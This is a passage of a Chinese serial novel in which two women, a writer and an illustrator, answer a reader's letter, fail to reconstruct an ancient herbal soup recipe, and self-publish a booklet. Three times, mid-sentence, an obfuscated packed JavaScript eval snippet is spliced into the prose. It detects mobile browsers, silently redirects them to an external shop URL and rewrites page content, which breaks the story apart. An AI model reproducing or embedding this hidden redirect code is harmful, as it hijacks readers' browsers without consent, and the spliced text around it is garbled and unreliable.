而这个江湖,就在这个工作室里,在这个城市里,在这个星球的某一个点上。 不大,但足够。 不完美,但真实。 不永恒,但珍贵。 这就是糯米与咪咪的江湖。 而它们,很满足。 33. 番外二:一位读者的来信 霜莉打开邮箱时,那封邮件已经在那里躺了三天。发件人是个陌生的名字:林小雨。主题是“一封迟到的感谢信”。 她本以为是普通的读者来信,准备像往常一样礼貌回复。但点开后,她愣住了。邮件很长,不是简单的赞美或反馈,而是一个完整的故事。 “青砚老师,鱿鱼老师: 请允许我先自我介绍。我叫林小雨,二十五岁,在上海一家广告公司工作。写这封信时,我正坐在浦东一间高层办公室的窗边,看着外面灰蒙蒙的天空和密密麻麻的建筑,手里拿着一本已经翻旧了的《豆腐山林》。 这是我第三次读这本书了。第一次是半年前,在一位朋友的推荐下;第二次是一个月前,当我决定辞去工作时;第三次是现在,在我即将离开上海,回到家乡小城的前夜。 我想告诉你们,这本书如何改变了我的生活轨迹。这不是夸张,而是事实。 半年前,我还是你们书中苏寻味最初的样子:充满好奇,四处探索,渴望体验所有新鲜事物,却很少真正深入理解任何一样。我在广告业工作,表面光鲜,收入不错,每天接触最新的潮流和创意。但我总感到一种空洞——就像苏寻味在尝遍美食后,仍然觉得缺少什么。 然后我遇到了《豆腐山林》。朋友说‘这本书很像你,总在寻找,但不知道在找什么’。我买来读,一开始被精美的插图和温暖的故事吸引,但真正击中我的,是叶静心对苏寻味说的那句话:‘深度不是排斥广度,而是为广度提供根基。’ 那晚我失眠了。躺在床上,回想自己过去五年的生活:换了三份工作,搬了四次家,谈了两次无疾而终的恋爱,学了五种技能但无一精通。我一直在追求‘更多’——更多经验,更多人脉,更多收入,更多认可——却从未给任何一件事足够的深度和时间。 就像苏寻味,我一直在表面滑行,从未真正潜入深处。 一个月前,公司接了一个大项目,我被任命为创意总监。这是我一直想要的位置,但当我真正得到它时,我却感到恐惧——不是对责任的恐惧,而是对自我的恐惧:如果我继续这样生活,五年后,十年后,我会成为什么样的人?一个精通各种表面技巧但内心空洞的‘专业人士’? 那晚我又翻开《豆腐山林》,读到苏寻味接受豆腐挑战的段落。她一次又一次失败,但一次又一次尝试;她笨拙但专注,缓慢但坚定。我突然哭了,不知道为什么。 第二天,我递交了辞职信。上司很惊讶,同事不理解,父母很生气。但我知道,我必须停下来,必须像苏寻味一样,给自己一个挑战,一个深入理解某件事的机会。 我决定回到家乡,那座我十八岁就急于离开的江南小城。我的祖父是位传统木匠,今年八十岁了。我小时候看他做木工,觉得那是陈旧无用的手艺。但现在我想,也许那里有我需要学习的‘深度’。 离职手续办了一个月。这期间,我第二次读《豆腐山林》,带着不同的心境。这次我注意到了之前忽略的细节:叶静心的厨房里,每件工具都用了很多年,都有了手的印记;她院子里的植物,都是慢慢长大的,有了自己的性格;甚至她说话的方式,都是经过时间沉淀的,简单但有分量。 我开始理解,深度需要时间,专注需要勇气,真正的理解需要放下浮躁和虚荣。 明天我就要坐高铁回家了。行李已经收拾好,大部分是在上海积累的各种物品:名牌包, designer clothes,最新款的电子产品,各种社交场合的‘装备’。但我在打包时,每一样都问自己:这对我寻找深度有帮助吗?最后只带了一个行李箱,里面是简单的衣物,几本书,和那本《豆腐山林》。 今晚,我第三次读这本书。在办公室的最后一夜,周围是加班的同事,电脑屏幕上还有未完成的方案,窗外是上海的璀璨夜景。但我的心已经飞回江南,飞回祖父的工作坊,飞向一个未知但让我心安的未来。 我不知道回去后会面对什么。祖父可能会觉得我疯了,放弃高薪工作回来学快失传的手艺;邻居可能会议论,说我在外面混不下去;我自己可能会怀疑,这个选择是否正确。 但就像苏寻味在深山里坚持做豆腐一样,我想坚持一次,深入一次,真实一次。 所以写这封信,是想感谢你们。不只是感谢你们创作了一本好书,更是感谢你们通过这本书,让我看到了另一种生活的可能性,另一种成长的方式,另一种价值的定义。 《豆腐山林》对我而言,已经不仅是一本书。它是一个路标,一个启示,一个朋友。在我最困惑的时候,它给了我方向;在我最恐惧的时候,它给了我勇气;在我最孤独的时候,它让我知道,有人理解这种对深度的渴望,对真实的追求。 我不知道未来会怎样。也许我会成为合格的木匠,也许不会。但至少,我会尝试,会深入,会理解。 就像你们在书中写的:‘重要的不是最终是否成功,而是是否开始了真正的寻找;不是是否到达了终点,而是是否走在了正确的路上。’ 我正在开始我的寻找,走我的路。 谢谢你们照亮了这条路。 祝你们创作顺利,友谊长青。 一位正在学习深度的读者 林小雨 2023年11月5日夜” 霜莉读完邮件时,眼睛已经湿润。她叫来鸿雁,两人一起又读了一遍,都沉默了。 这样的来信不是第一封,但每次都让她们深受触动。创作时,她们专注于故事本身,人物塑造,主题表达,很少想到这些文字和画面会如何影响真实世界中的人们。 “我们是不是应该回一封长信?”鸿雁轻声问。 霜莉点头:“不仅要回信,也许我们可以做些什么。” 她们花了整整一个下午回复这封信。不是简单的感谢,而是真诚的分享:分享她们自己的困惑和选择,分享创作过程中的挣扎和突破,分享对“深度”与“广度”的持续思考。 霜莉写道:“小雨,你的信让我们看到了创作最珍贵的意义:不是自我的表达,而是与他人的共鸣;不是技巧的展示,而是心灵的对话。你说《豆腐山林》给了你方向,但我们要说,你的选择给了我们信心——让我们相信,在这个浮躁的时代,仍然有人愿意慢下来,深下去,真起来。” 鸿雁补充:“如果你开始学习木工,过程中有任何想分享的,我们都愿意倾听。我们也在学习——学习如何通过食物理解世界,如何通过创作连接他人。也许有一天,你的木工故事可以成为‘食味人生’系列的一部分,让更多人看到传统手艺的魅力和深度。” 她们还寄出了一份小礼物:一本新制作的手工书《茶烟岁月》,附上一张手写卡片:“给正在寻找深度的小雨——江湖路远,但每一步都算数;创作艰难,但每一笔都真诚。祝你在祖父的工作坊里,找到属于自己的‘豆腐’和‘茶’。” 邮件发出后,她们继续自己的工作,但林小雨的故事留在了心里。它提醒她们,创作不只是艺术表达,也是社会责任;作品不只是商品,也是可能改变人生的力量。 两周后,林小雨回信了。附上了几张照片:一张是江南小城的老街,青石板路,白墙黑瓦;一张是祖父的工作坊,堆满了木材和工具,老人正专注地刨一块木头;一张是她自己的手,已经有了细小的伤口和木屑的痕迹。 “我已经开始学习了。祖父一开始不理解,但看到我真的在学,慢慢接受了。第一天,他只让我看他工作,不许我碰任何工具。第二天,他让我打磨一块小木料,我磨了三个小时,直到表面光滑如镜。第三天,他教我认识不同的木材:榉木坚硬,杉木轻软,樟木防虫,每种都有自己的性格。 “就像叶静心的食材,每种都需要不同的对待方式;就像苏寻味的豆腐,每道工序都需要耐心和专注。 “我现在每天六点起床,和祖父一起工作到中午,下午整理笔记,晚上阅读相关书籍。生活简单到近乎单调,但内心充实到近乎饱满。我终于理解了苏寻味在山林中的感受:不是逃避,而是深入;不是放弃,而是选择。 “谢谢你们的回信和礼物。《茶烟岁月》我读完了,又一次被深深打动。特别是两位茶人最终的理解:不是谁说服了谁,而是各自在对方身上看到了自己缺少的,又确认了自己坚持的。 “我正在经历类似的过程。祖父的‘守旧’和我的‘求新’,不是对立,而是对话。他教我用传统方法处理木材,我则研究如何让这些手艺被现代人理解和欣赏。我们争吵,我们妥协,我们互相学习。 “这也许就是深度带来的礼物:不是单一的真理,而是复杂的真实;不是简单的答案,而是丰富的可能。 再次感谢你们。不仅为这本书,更为它开启的这段旅程。 小雨” 这封信成了霜莉和鸿雁那周创作会的主要话题。她们讨论了艺术与社会责任,创作与影响,个人表达与公共价值。 “有时候我觉得,我们太幸运了。”霜莉说,“可以用创作做自己喜欢的事,还能影响到像小雨这样的人。这是一种特权,也是一种责任。” 鸿雁同意:“所以我们要更认真地创作,更真诚地分享,更负责任地使用这种影响力。不是教化,不是指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122870|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 导,而是陪伴,是对话,是共同探索。” 她们决定在博客上开辟一个新栏目:“读者故事”。不是宣传,而是记录——记录那些被“食味江湖”影响的真实故事,记录创作与现实之间的对话,记录在这个快速时代中,仍然有人选择缓慢和深度的见证。 第一篇就是林小雨的故事,经她同意后,匿名分享。霜莉写了引言,鸿雁配了插图——不是小雨本人的画像,而是一双正在打磨木材的手,光线从工作坊的窗户斜射进来,照亮了飞舞的木屑和专注的眼神。 文章发布后,反响出乎意料。许多读者留言分享自己的类似经历:有人辞去高压工作开始学习园艺,有人放弃城市生活回到乡村,有人在工作之余深入钻研一门手艺,有人在快速变化的世界中刻意保持慢节奏。 “原来有这么多人在寻找深度,”霜莉看着留言感慨,“我们并不孤独。” “创作连接了这些人,”鸿雁说,“让他们知道自己的选择被理解,被尊重,被看见。这就是创作的意义。” 那天晚上,霜莉在日记中写下了新的领悟: “今天收到了小雨的第二封信,看到了她的改变和成长。这让我思考创作的本质究竟是什么。 “曾经我以为,创作是自我表达,是把内心的世界呈现出来。这没错,但不完整。 “现在我觉得,创作是建立连接,是在自我与他者之间搭建桥梁;是引发共鸣,是在不同生命中寻找共同频率;是激发改变,是在现状与可能之间打开空间。 “小雨的故事证明了这一点:一本书,一个故事,一些画面,可以成为一个人生命的转折点。不是因为它提供了答案,而是因为它提出了问题;不是因为它给出了方向,而是因为它照亮了道路。 “这让我对创作有了更深的敬畏和责任感。每一字,每一画,都可能触及某个人的心灵,可能影响某个人的选择,可能改变某个人的轨迹。 “所以我们必须认真,必须真诚,必须深刻。不是为了成功,而是为了对得起这种可能的影响;不是为了名利,而是为了尊重这种隐秘的力量。 “感谢小雨,感谢所有分享自己故事的读者。你们让我们的创作有了超越我们自身的意义,让‘食味江湖’成为了一个真正的江湖——不仅存在于书中,也存在于读者的生活中,存在于那些被激发、被连接、被改变的真实故事中。 “创作不止,连接不断,影响不息。 “而我们,会继续创作,继续连接,继续见证,继续被这些真实的故事改变和提升。 “这就是创作的循环,也是生活的本质:给予,接收,再给予。 “在这个循环中,我们都既是创作者,也是读者;既是启发者,也是被启发者;既是改变者,也是被改变者。 “而这一切,都从一本书开始,从一个故事开始,从一次真诚的创作开始。 “感谢创作。 “感谢读者。 “感谢所有在这个浮躁时代,仍然选择深度、选择真实、选择连接的人们。 “你们,才是真正的江湖。” 写完后,霜莉走到窗前。夜色已深,城市灯火依然璀璨,但她的心中有了不同的光——不是外在的辉煌,而是内在的温暖;不是孤独的闪烁,而是连接的辉映。 在这个由创作和阅读构成的江湖里,每个人都在给予,也在接收;在启发,也被启发;在改变,也被改变。 而她和鸿雁,有幸成为这个循环的一部分,这个连接的一环,这个江湖的一份子。 这,或许就是创作者最深的幸福:不是独自站在山顶,而是在人群中点亮一盏灯,然后看到其他灯火陆续亮起,连成一片星海,照亮彼此的道路,温暖彼此的心灵。 江湖很大,容得下无数故事。 江湖也很小,每个故事都与其他故事相连。 而在这些连接中,创作获得了超越自身的意义,生活展现了超越日常的深度,人类证明了超越个体的可能。 这就是江湖。 这就是创作。 这就是为什么,尽管艰难,尽管孤独,尽管充满不确定,她们仍然选择继续创作,继续连接,继续在这个世界上,用文字和图像,搭建一座又一座桥梁,点亮一盏又一盏灯。 为了像小雨这样的读者。 也为了像她们这样的创作者。 更为了所有在寻找深度、真实和连接的人们。 江湖依旧,故事继续。 连接不断,灯火不灭。 创作不止,温暖不息。 而她,很荣幸,是这其中的一部分。 34. 番外三:一次失败的食谱 工作室里弥漫着一股复杂的焦糊味,混合着草药的特殊气息和某种难以形容的酸味。工作台上,三个小碗排成一排,每个碗里都盛着颜色可疑的糊状物。鸿雁用筷子小心地戳了戳最左边那碗,糊状物表面裂开,露出底下更深的颜色。 “第三次失败。”她宣布,语气里没有沮丧,反而有种研究者的冷静。 霜莉从笔记本电脑前抬起头,揉了揉发酸的眼睛。她已经盯着屏幕上的古籍影印本看了两个小时,试图破解一道名为“秋露凝香羹”的古方。“书上说‘以秋梨、百合、杏仁、蜂蜜,佐以三味秘药,文火慢炖三时辰,成羹晶莹如露,香气凝而不散’。” “问题就在‘三味秘药’上。”鸿雁拿起那本明代食疗手抄本的复印本,指着模糊的字迹,“这里写着‘天冬、麦冬、石斛’,但旁边的小字注释又像是‘玉竹、沙参、茯苓’。几百年的抄写和传阅,字迹都糊了。” 她们正在为“食味江湖”的下一个故事做准备。这个故事将围绕一位宫廷药膳师展开,主角需要复原一道失传的秋季养生羹。为了写得更真实,霜莉和鸿雁决定自己先尝试复原这道古方——就像当初做茯苓饼一样。 但这次比茯苓饼难多了。不仅因为古方语焉不详,更因为一些食材已经很难找到,或者现代的名称与古代不同。 第一次尝试,她们按照“天冬、麦冬、石斛”的解读,加上秋梨、百合、杏仁、蜂蜜,文火炖了三小时。结果羹汤颜色深褐,口感苦涩,香气全无。 “天冬和麦冬都是清热药材,可能用量不对,或者需要特殊处理。”霜莉当时分析。 第二次尝试,她们改用“玉竹、沙参、茯苓”,调整了比例,减少了炖煮时间。结果颜色浅了,但质地太稀,没有“凝”感,香气也不对。 现在是第三次,她们尝试折中方案:部分用第一组药材,部分用第二组,还加入了一点陈皮提香。结果……就是眼前这三碗颜色可疑的糊状物。 “闻起来像中药房着火了的味道。”咪咪不知何时跳上了工作台,嗅了嗅碗边的气味,立刻露出嫌弃的表情,转身跳走了。 糯米在霜莉肩头吱吱叫,仿佛在说“这东西真的能吃吗”。 鸿雁舀了一小勺,闭上眼睛尝了尝,然后立刻吐到旁边的垃圾桶。“又苦又酸,还有焦味。火候肯定有问题。” 霜莉也尝了一小口,皱起眉头。“而且没有‘晶莹如露’的感觉,倒像……泥浆。” 两人对视,然后同时笑了。这是她们合作以来第一次在食谱复原上连续失败三次。茯苓饼虽然也失败了两次,但第三次成功了。这次的“秋露凝香羹”看起来要困难得多。 “也许我们不应该执着于完全复原。”霜莉说,推开面前的古籍,“古方失传是有原因的:可能食材变了,可能口味变了,可能根本就没那么好吃,只是文献美化了。” 鸿雁点头,开始收拾失败的作品。“但我们需要为故事找到一个合理的解释。如果主角是宫廷药膳师,她应该有能力复原失传古方,或者至少理解为什么失传。” 她们清理了工作台,泡了一壶清茶,坐在工作室的地板上重新思考。窗外秋雨渐沥,雨点敲打着玻璃窗,为思考提供了宁静的背景音。 “也许,”霜莉慢慢说,“故事的重点不应该是成功复原,而是复原过程中的发现。就像我们现在的体验——失败,但学到了东西。” 鸿雁眼睛一亮:“对!主角可以尝试复原这道‘秋露凝香羹’,但每次尝试都失败。然而在失败中,她理解了古人的饮食智慧,理解了食材的特性,理解了药膳的真谛不是机械照搬古方,而是根据当下的人和食材灵活调整。” “最终她不是做出了和古方完全一样的羹,”霜莉接上,“而是创造了一道新的羹,吸收了古方的智慧,但适应了现代人的口味和需求。这才是真正的传承——不是复制,而是再生;不是守旧,而是创新。” 这个思路让两人都兴奋起来。她们不再纠结于破解模糊的古籍,而是开始构思一个更有深度的故事:关于传统与创新,关于失败与学习,关于形式与本质。 “我们可以把我们的失败体验写进去。”鸿雁笑着说,“那些焦糊的、苦涩的、稀薄的尝试,都可以成为故事中的场景。读者会感受到真实——不是一切顺利的童话,而是充满挫折但最终有所收获的现实。” 霜莉已经在笔记本上写了起来:“主角第一次尝试,完全按照古方,结果苦涩难咽。她意识到古籍可能有误传,或者食材已经变化。第二次尝试,她调整了比例,但火候掌握不好,糊了。第三次,她换了药材,但口感不对……” “在这个过程中,”鸿雁补充,“她不是孤军奋战。可以有助手,有导师,有提供食材的农人,有品尝反馈的食客。就像我们,有彼此,有陈爷爷这样的老师傅,有读者反馈。” 她们越讨论越深入,故事轮廓越来越清晰。这不再是一个简单的“复原失传古方”的故事,而是一个关于如何对待传统、如何面对失败、如何在变化中保持核心的深度探索。 雨停了,夕阳从云层后露出,给工作室镀上一层温暖的金色。霜莉和鸿雁坐在地板上,周围散落着古籍复印本、笔记本、草图本,还有那三碗失败作品的残留痕迹——已经清理干净,但空气中还隐约残留着复杂的气味。 “你知道吗,”霜莉轻声说,“这次失败的尝试,可能比成功的尝试更有价值。如果第三次就成功了,我们只会得到一道复原的古方。但失败了三次,我们得到了一个更好的故事,更深的思考,更真实的创作。” 鸿雁点头:“就像苏寻味做豆腐,如果第一次就成功,她就学不到那么多了。失败让人深入,成功让人停留表面。” 她们决定把这个新思路融入故事。主角将经历多次失败,但在每次失败中学到不同的东西:第一次学到古方不可盲从,第二次学到火候的重要性,第三次学到食材搭配的微妙,第四次学到…… “第四次应该是什么?”霜莉问。 鸿雁想了想:“第四次,她决定不执着于复原古方,而是去理解古方背后的理念:秋季养生,润燥滋阴,平衡和谐。然后她用现代的、易得的食材,创造一道符合这个理念的新羹。” “然后她成功了?”霜莉问。 “不完全是。”鸿雁说,“她的新羹得到了认可,但一位老御厨尝了后说:‘这不是秋露凝香羹,但有着同样的精神。’然后老御厨分享了他记忆中的味道——不是具体的配方,而是那种感觉:清晨的凉意,露水的清新,秋日的宁静。” 霜莉被这个构思打动:“所以最终,主角理解的不是具体的食谱,而是那种饮食文化的精神;复原的不是物质的形式,而是那种对待食物和生活的态度。” “对。”鸿雁说,“就像我们通过‘食味江湖’想表达的:重要的不是具体的食物,而是食物背后的故事、文化、人情、哲学。” 夜幕降临,工作室里亮起了温暖的灯光。她们继续讨论,细化故事,设计人物,构思场景。失败的古方尝试成为了创作的养分,转化为了更丰富、更深刻的故事内容。 深夜,当讨论暂告段落时,霜莉说:“其实我们的生活也是这样的。不是一切顺利,不是每次尝试都成功,但每次失败都让我们学到东西,每次挫折都让我们更深入理解自己和创作。” 鸿雁微笑:“就像这碗失败的羹。它不能吃,但它让我们思考,让我们创造,让我们写出了更好的故事。在这个意义上,它没有失败,它以另一种方式成功了。” 她们收拾工作室,准备结束这一天。三碗失败的作品早已倒掉,碗也洗干净了。但那个复杂的焦糊味似乎还隐约可闻,混合着秋雨的清新和工作室熟悉的纸张、颜料、茶香。 这气味不像成功的桂花糕那样甜美,不像完美的豆腐那样纯净,但它真实,复杂,有层次,就像创作和生活本身:不总是顺利,不总是甜美,但总是丰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122871|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 富,总是深刻,总是值得体验和思考。 离开工作室前,霜莉在日记中记下了这一天的收获: “今天,我们连续第三次尝试复原一道古方‘秋露凝香羹’,连续第三次失败。 “但这次失败成为了创作的转折点。我们意识到,故事的重点不应该是成功的复原,而是复原过程中的探索;不应该是完美的结果,而是真实的历程。 “于是我们构思了一个新的故事:一位药膳师尝试复原失传古方,经历多次失败,最终理解到传承的真谛不是复制形式,而是领会精神;不是守旧不变,而是创新再生。 “这个故事比简单的‘成功复原’更有深度,更真实,更符合‘食味江湖’的核心:通过食物探索文化,通过技艺理解哲学,通过失败学习成长。 “感谢这次失败。它教会了我们: “1.创作如烹饪,不可能每次都成功。失败是过程的一部分,甚至是必要的一部分。 “2.失败不是终点,而是转折点。它可以导向新的思考,新的方向,新的创造。 “3.真实的故事往往来自真实的体验。我们的失败体验让故事有了真实的质地和情感。 “4.对待传统,应该有灵活的态度。不是机械照搬,而是理解本质,然后在当下创新表达。 “5.创作和生活一样,重要的不是避免失败,而是从失败中学到东西,继续前进。 “今天,我们虽然没有做出一道成功的古方羹,但我们创造了一个更好的故事,得到了更深的领悟,实践了更真的创作。 “在这个意义上,今天没有失败,只有不同的成功。 “而明天,我们会继续:继续尝试,继续失败,继续学习,继续创作。 “因为创作之路,本就是一条不断尝试、偶尔失败、总是学习、持续成长的路。 “感谢失败。 “感谢尝试。 “感谢所有不完美但真实的时刻。 “它们构成了创作的血肉,生活的质感,成长的轨迹。 “而我们,在路上。” 写完后,霜莉走到窗前。夜色深沉,秋雨又起,雨点细密地敲打着窗户,像是自然的低语,又像是时间的节奏。 在这个秋夜里,在这个工作室中,两个创作者经历了一次失败的食谱尝试,却获得了一次成功的创作突破。 这或许就是创作和生活的奥秘:表面上的失败,可能是深层的成功;形式上的挫折,可能是本质的进步;具体的失去,可能是抽象的获得。 而她们,在这奥秘中,继续探索,继续创作,继续成长。 带着失败的智慧,带着尝试的勇气,带着学习的谦卑,带着创作的热情。 在每一次失败后,站起来,思考,调整,继续。 因为创作不止,探索不息,成长不断。 而失败,只是这条漫长路上的一个逗号,不是句号。 一个转折,不是终点。 一次学习,不是终结。 在失败中,她们看到了更深的真实,创造了更好的故事,成为了更真的自己。 而这,就是这次失败的食谱,给予她们的最珍贵的礼物。 在秋夜的雨声中,霜莉微笑了。 明天,太阳照常升起,创作照常继续,尝试照常进行,失败照常可能。 但她不再害怕。 因为失败,也是创作的一部分。 也是生活的一部分。 也是成长的一部分。 而她,准备好了。 与鸿雁一起。 与创作一起。 与生活一起。 继续前行,在成功的路上,也在失败的路上。 因为这两条路,本就是同一条路。 创作之路。 生活之路。 成长之路。 而她们,正在这条路上。 一直。 35. 墨香与松色 霜降那日,老城区的梧桐叶积了薄薄一层白霜,像撒了把碎银。霜莉抱着刚打印好的古风手稿,踩着落叶往巷尾走,微胖的身子裹在焦糖色的大衣里,像颗圆滚滚的栗子。 她的新书又被出版社退稿了,编辑的话还在耳边打转:“文笔细腻,但古风市场太挤,不出名的作者很难出头。”霜莉叹了口气,指尖摩挲着稿纸上“长安月”三个字,心里却没什么波澜——她写小说本就不为出名,不过是把心里的长安烟火,落进笔墨里罢了。 巷尾的“青杉画室”亮着暖黄的灯,玻璃门上贴着张歪歪扭扭的纸条:“鱿鱼营业中,闲人免进,熟人请踹门。” 霜莉失笑,抬手轻轻叩门。 门“吱呀”一声开了,探出个利落的短发脑袋。鸿雁叼着支画笔,脸上沾着点钴蓝颜料,看见霜莉,眼睛弯成了月牙:“栗子!你可算来了,我新烤的红薯,还热乎着呢!” 鸿雁人如其名,身形清瘦,怎么吃都不见胖,套着件沾满颜料的白衬衫,袖口挽到小臂,露出纤细的手腕。大家都叫她鱿鱼,说她像鱿鱼一样,滑不溜丢,不爱被名利捆着。 画室里飘着松节油和红薯的甜香,画架上摆着一幅未完成的画——远山含黛,松枝覆雪,雪地里蹲着个圆滚滚的小人,正仰头看月亮。 “这是……”霜莉凑近了看,眼睛一亮。 “你啊。”鸿雁把烤红薯塞到她手里,“上次你说,想在长安的雪地里啃红薯,我就画了。” 霜莉的心瞬间软成一团棉花。她捧着热乎乎的红薯,咬了一口,甜香漫过舌尖。她把退稿的事轻描淡写地说了,鸿雁听完,挑眉道:“那些编辑懂什么!你的长安有烟火气,比那些故作高深的古言好看一百倍。” 她拉着霜莉坐到画案前,铺开宣纸:“来,咱俩合作一把。你写你的长安月,我画我的松间雪,印成小册子,自己卖!” 霜莉愣了愣,随即笑了。 接下来的日子,画室成了她们的秘密基地。霜莉伏在案头写小说,笔尖划过纸页,沙沙作响;鸿雁坐在窗边画画,画笔游走,色彩晕染。阳光透过玻璃窗,洒在霜莉的背影上,洒在鸿雁沾着颜料的手指上,时光慢得像一碗温吞的茶。 霜莉写长安的酒肆,写酒肆里说书先生的醒木,写邻桌书生的折扇;鸿雁就画酒肆的幌子,画醒木上的纹路,画折扇上的墨竹。霜莉写长安的雪,写雪地里卖糖葫芦的小贩,写踏雪寻梅的女子;鸿雁就画红彤彤的糖葫芦,画女子鬓边的梅花。 偶尔,霜莉写得卡壳了,就揪着鸿雁的袖子,絮絮叨叨地讲她心里的人物——豪爽的酒肆老板娘,傲娇的世家公子,憨直的守城小兵。鸿雁听得认真,时不时插一句:“这个老板娘,得画成圆脸,笑起来有两个梨涡。”“世家公子的扇子,得是青竹骨的。” 鸿雁画画累了,就拖着霜砅去巷口的糖水铺,点两碗桂花糖芋苗。鸿雁吃得飞快,一碗下肚,意犹未尽地舔舔嘴角;霜莉吃得慢,小口小口地抿着,看着鸿雁眉飞色舞地讲她去写生时遇到的趣事——山里的野兔子,溪边的老石磨,山顶的云海。 “你说你,”霜莉戳戳她的额头,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122872|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明画得那么好,偏不肯出名。” 鸿雁眨眨眼,叼着勺子说:“出名多累啊,要应付采访,要参加画展,哪有时间陪你写长安,陪你啃红薯?” 霜莉的心又是一暖,低头笑了笑,芋苗的甜香漫进了心里。 册子印出来的时候,是冬至。薄薄的一本,封面是鸿雁画的长安雪夜,扉页上写着一行字:“赠我们的长安,与永不散场的烟火。” 她们没去书店卖,只是把册子放在画室的窗边,放了个零钱罐,上面写着:“随缘取阅,随心投币。” 没想到,渐渐有人寻来。先是巷子里的邻居,再是路过的游客,后来竟有特意从城外赶来的人。有人喜欢霜莉的文字,说读着像喝了杯温酒,暖到了心坎里;有人喜欢鸿雁的画,说看了像走进了长安的雪地里,满眼都是温柔。 有人问霜莉:“你这么会写,怎么不去找出版社?” 霜莉笑着指了指身边的鸿雁:“我有最好的读者,就够了。” 有人问鸿雁:“你画得这么好,为什么不办画展?” 鸿雁挽着霜莉的胳膊,笑得眉眼弯弯:“我有最好的搭档,就够了。” 冬日的阳光透过画室的窗,洒在摊开的册子上。墨香混着松节油的味道,在空气里缓缓流淌。霜莉捧着热乎乎的红薯,鸿雁叼着画笔,两个人并肩看着窗外的梧桐,看着阳光在霜叶上跳跃。 没有名利的纷扰,没有世俗的牵绊。 只是两个知己,守着一间画室,一本小说,把长安的烟火,过成了岁岁年年的寻常。